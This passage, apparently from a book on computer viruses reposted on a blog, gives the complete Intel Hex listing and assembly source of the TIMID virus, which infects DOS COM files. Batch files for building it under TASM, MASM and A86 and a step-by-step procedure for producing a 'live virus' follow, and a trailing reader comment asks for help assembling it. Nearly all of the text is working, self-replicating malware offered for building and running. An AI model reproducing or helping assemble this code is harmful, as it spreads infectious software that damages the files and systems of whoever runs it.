The assembly language listings of all viruses are provided in the appendicies. They have been designed so they can be assembled using either Microsoft Macro Assembler (MASM), Turbo Assembler (TASM), or the shareware program A86. Batch files are also listed which carry out the assembly with all three assemblers and get the viruses into an executable state.
Additionally, Intel Hex listings of all viruses in this book are provided here, in the appendicies. This will enable the reader who has only a word processor and the BASIC language to get the viruses into his computer and running. In Appendix F you will find a BASIC listing of the Hex Loader which will transform the Intel Hex listings of the viruses into executable programs. All you have to do is type it in to your computer using the BASIC editor and save it. Then, to create a virus, type in the Hex listing exactly as printed here, using a word processor, and save it to a file (e.g. TIMID.HEX). When you run the Hex Loader, it will prompt you for the Hex file name, and the Binary file name. Just enter the names, and it will create the Binary file from the Hex file. If you made any errors in typing the Hex file in, the loader will alert you to the error and tell you which line number it is on.
For example, to create TIMID.COM from TIMID.HEX, run the loader and it will prompt you “Source file?,” at which you should enter “TIMID.HEX”. Next, the loader will prompt you “Destination file?” and you should enter “TIMID.COM”. It will run for a few seconds and then tell you it is finished. When you exit from BASIC, you should have a file TIMID.COM on disk. This is the live virus.
Here is the complete Intel Hex listing for the TIMID virus (TIMID.HEX):
:10000000E909005649212A2E434F4D00E80000819E
:100010002EFCFF0900BA2AFFB41ACD21E83E007574
:1000200010E88F00BA48FFC70655FF2400B409CD79
:1000300021BA8000B41ACD218B1EFCFF8B875200A1
:10004000A300018B875400A302018A875600A204F3
:1000500001C706FCFF0001C3B44CB000CD8B16FCF9
:10006000FFB93F00B44ECD210AC0750BE8090074FA
:1000700006B44FCD21EBF1C3BA48FFB8023DCD2104
:1000800072298BD853B90500BA57FFB43FCD215B15
:10009000B43ECD21A144FF050502720F803E57FFFB
:1000A000E9750D813E5AFF56497505B0010AC0C376
:1000B00032C0C3BA48FFB8023DCD21A355FF33C9B2
:1000C0008BD18B1E55FFB80242CD21B931018B1661
:1000D000FCFF8B1E55FFB440CD2133C98B1644FF66
:1000E00081C252008B1E55FFB80042CD21B90500D8
:1000F0008B1E55FFBA57FFB440CD2133C98BD18B2E
:100100001E55FFB80042CD218B1EFCFFC60657FFCF
:10011000E9A144FF050300A358FFC7065AFF56494B
:10012000B90500BA57FF8B1E55FFB440CD218B1E79
:0701300055FFB43ECD21C3D1
:00000001FF
Here is the assembly language listing for the TIMID virus (TIMID.ASM):
;This program is a basic virus that infects just COM files. It gets the first
;five bytes of its host and stores them elsewhere in the program and puts a
;jump to it at the start, along with the letters “VI”, which are used by the
;virus to identify an already infected ;program.
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
ORG 100H
;This host is a shell of a program which will release the virus into the
;system. All it does is jump to the virus routine, which does its job and ;returns to it, at which point it terminates to DOS.
HOST: jmp NEAR PTR VIRUS_START ;MASM cannot assemble this jmp correctly db ’VI’ mov ah,4CH mov al,0
int 21H ;terminate normally with DOS
VIRUS: ;a label for the first byte of the virus
COMFILE DB ’*.COM’,0 ;search string for a com file
VIRUS_START: call GET_START ;get start address ;This is a trick to determine the location of the start of the program. We put
;the address of GET_START on the stack with the call, which is overlayed by
;VIR_START. Subtract offsets to get @VIRUS GET_START:
sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS mov dx,OFFSET DTA ;put DTA at the end of the virus for now mov ah,1AH ;set new DTA function int 21H call FIND_FILE ;get a com file to attack jnz EXIT_VIRUS ;returned nz - no file to infect, exit call INFECT ;have a good COM file to use - infect it mov dx,OFFSET FNAME ;display the name of the file just infected mov WORD PTR [HANDLE],24H ;make sure string terminates w/ ’$’ mov ah,9
int 21H ;display it EXIT_VIRUS:
mov dx,80H ;fix the DTA so that the host program doesn’t mov ah,1AH ;get confused and write over its data with int 21H ;file i/o or something like that! mov bx,[VIR_START] ;get the start address of the virus mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)] ;restore mov WORD PTR [HOST],ax ;5 orig bytes of COM file to start of file mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+2] mov WORD PTR [HOST+2],ax mov al,BYTE PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+4] mov BYTE PTR [HOST+4],al mov [VIR_START],100H ;set up stack to do return to host program ret ;and return to host START_CODE: ;move first 5 bytes from host program to here nop ;nop’s for the original assembly code nop ;will work fine nop nop nop
;*******************************************************************************
;Find a file which passes FILE_OK
;This routine does a simple directory search to find a COM file in the current ;directory, to find a file for which FILE_OK returns with z set.
FIND_FILE: mov dx,[VIR_START] ; add dx,OFFSET COMFILE - OFFSET VIRUS ;this is zero here, so omit it mov cx,3FH ;search for any file, with any attributes mov ah,4EH ;do DOS search first function int 21H FF_LOOP:
or al,al ;is DOS return OK?
jnz FF_DONE ;no - quit with Z reset call FILE_OK ;return ok - is this a good file to use? jz FF_DONE ;yes - valid file found - exit with z set mov ah,4FH ;not a valid file, so int 21H ;do find next function jmp FF_LOOP ;and go test next file for validity FF_DONE: ret
;*******************************************************************************
;Function to determine whether the COM file specified in FNAME is useable. If ;so return z, else return nz.
;What makes a COM file useable?:
; a) There must be space for the virus without exceeding the ; 64 KByte file size limit.
; b) Bytes 0, 3 and 4 of the file are not a near jump op code,
; and ’V’, ’I’, respectively
; FILE_OK:
mov dx,OFFSET FNAME ;first open the file
mov ax,3D02H ;r/w access open file - we’ll want to write to it int 21H jc FOK_NZEND ;error opening file - quit, file can’t be used mov bx,ax ;put file handle in bx push bx ;and save it on the stack mov cx,5 ;next read 5 bytes at the start of the program mov dx,OFFSET START_IMAGE ;and store them here mov ah,3FH ;DOS read function int 21H
pop bx ;restore the file handle mov ah,3EH int 21H ;and close the file
mov ax,WORD PTR [FSIZE] ;get the file size of the host add ax,OFFSET ENDVIRUS - OFFSET VIRUS ;add size of virus to it jc FOK_NZEND ;c set if size goes above 64K cmp BYTE PTR [START_IMAGE],0E9H ;size ok - is first byte a near jmp jnz FOK_ZEND ;not a near jump, file must be ok, exit with z cmp WORD PTR [START_IMAGE+3],4956H ;ok, is ’VI’ in positions 3 & 4? jnz FOK_ZEND ;no, file can be infected, return with Z set FOK_NZEND: mov al,1 ;we’d better not infect this file or al,al ;so return with z reset ret FOK_ZEND: xor al,al ;ok to infect, return with z set ret
;*******************************************************************************
;This routine moves the virus (this program) to the end of the COM file
;Basically, it just copies everything here to there, and then goes and
;adjusts the 5 bytes at the start of the program and the five bytes stored ;in memory.
INFECT: mov dx,OFFSET FNAME ;first open the file mov ax,3D02H ;r/w access open file, we want to write to it int 21H mov WORD PTR [HANDLE],ax ;and save the file handle here
xor cx,cx ;prepare to write virus on new file mov dx,cx ;position file pointer, cx:dx = pointer = 0 mov bx,WORD PTR [HANDLE] mov ax,4202H ;locate pointer to end DOS function int 21H
mov cx,OFFSET FINAL - OFFSET VIRUS ;now write virus, cx=# bytes mov dx,[VIR_START] ;ds:dx = place in memory to write from mov bx,WORD PTR [HANDLE] ;bx = file handle mov ah,40H ;DOS write function int 21H
xor cx,cx ;now save 5 bytes which came from start of host mov dx,WORD PTR [FSIZE] ;so position the file pointer add dx,OFFSET START_CODE - OFFSET VIRUS ;to where START_CODE is mov bx,WORD PTR [HANDLE] ;in the new virus mov ax,4200H ;and use DOS to position the file pointer int 21H
mov cx,5 ;now go write START_CODE in the file mov bx,WORD PTR [HANDLE] ;this data was obtained mov dx,OFFSET START_IMAGE ;during the FILE_OK function above mov ah,40H int 21H
xor cx,cx ;now go back to the start of host program mov dx,cx ;so we can put the jump to the virus in mov bx,WORD PTR [HANDLE] mov ax,4200H ;locate file pointer function int 21H
mov bx,[VIR_START] ;calculate jump location for start of code mov BYTE PTR [START_IMAGE],0E9H ;first the near jump op code E9 mov ax,WORD PTR [FSIZE] ;and then the relative address add ax,OFFSET VIRUS_START-OFFSET VIRUS-3 ;these go to START_IMAGE mov WORD PTR [START_IMAGE+1],ax mov WORD PTR [START_IMAGE+3],4956H ;and put ’VI’ ID code in
mov cx,5 ;ok, now go write the 5 bytes we just put in START_IMAGE mov dx,OFFSET START_IMAGE ;ds:dx = pointer to START_IMAGE mov bx,WORD PTR [HANDLE] ;file handle mov ah,40H ;DOS write function int 21H
mov bx,WORD PTR [HANDLE] ;finally, get handle off of stack mov ah,3EH ;and close file int 21H ret ;all done, the virus is transferred FINAL: ;label for last byte of code to be kept in virus when it moves
ENDVIRUS EQU $ + 212 ;label for determining space needed by virus
;Note: 212 = FFFF - FF2A - 1 = size of data space
; $ gives approximate size of code required for virus
ORG 0FF2AH
DTA DB 1AH dup (?) ;this is a work area for the search function
FSIZE DW 0,0 ;file size storage area
FNAME DB 13 dup (?) ;area for file path
HANDLE DW 0 ;file handle
START_IMAGE DB 0,0,0,0,0 ;area to store 5 bytes to rd/wrt to file
VSTACK DW 50H dup (?) ;stack for the virus program
VIR_START DW (?) ;start address of VIRUS (overlays stack)
MAIN ENDS
END HOST
In order to create a working copy of the virus (i.e. an infected COM file), you will also need the very short program
SHELLT.ASM:
;Assembly language shell for a simple COM file program
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING ORG 100H
START: FINISH: mov ah,4CH mov al,0
int 21H ;terminate normally with DOS MAIN ENDS
END START
In order to create a working virus under Turbo Assembler, create the following batch file (MAKET_T.BAT), along with the above two ASM files, put them all in the same directory, and execute the batch file. The end result will be a file TIMID.COM, which is a COM file with the virus attached to it.
md timid tasm timid,,; tlink /t timid,,; copy timid.com timid tasm shellt,,; tlink /t shellt,,; copy shellt.com timid cd timid timid del timid.com copy shellt.com ..\timid.com del shellt.com cd .. rd timid del *.obj del *.lst del *.map del shellt.com
If you prefer to use the Microsoft Assembler (MASM), you’ll need two files, MAKET_M.BAT:
md timid masm timid,,; link timid,,; debug timid.exe aket_m.dbg masm shellt,,; link shellt,,; exe2bin shellt shellt.com copy shellt.com timid copy timid.com timid cd timid timid del timid.com
copy shellt.com ..\timid.com del shellt.com cd .. rd timid del *.obj del *.lst del *.map del shellt.com del timid.exe del shellt.exe
and MAKET_M.DBG:
n timid.com r cx 400 r bx 0 w 100 q
When you run MAKET_M.BAT, make sure the DOS program DEBUG is in your path, so it will execute when called by the batch file. The reason you need DEBUG with MASM, but not with TASM is that MASM tries to outsmart the programmer about the type of jump instructions to code into the program, so instead of coding a near jump, it can automatically switch it over to a short jump. This is simply not acceptable, so we use DEBUG to correct
MASM.
If you prefer to assemble the virus using A86, create and execute the following batch file (MAKET_A.BAT):
md timid a86 timid.asm timid.com a86 shellt.asm shellt.com copy shellt.com timid copy timid.com timid cd timid timid del timid.com copy shellt.com ..\timid.com del shellt.com cd .. rd timid del shellt.com del *.sym
About The Author
if you could please complete this and email it to me at tjayden2002@gmail.com because i cannot figure out how to put it together
ReplyDelete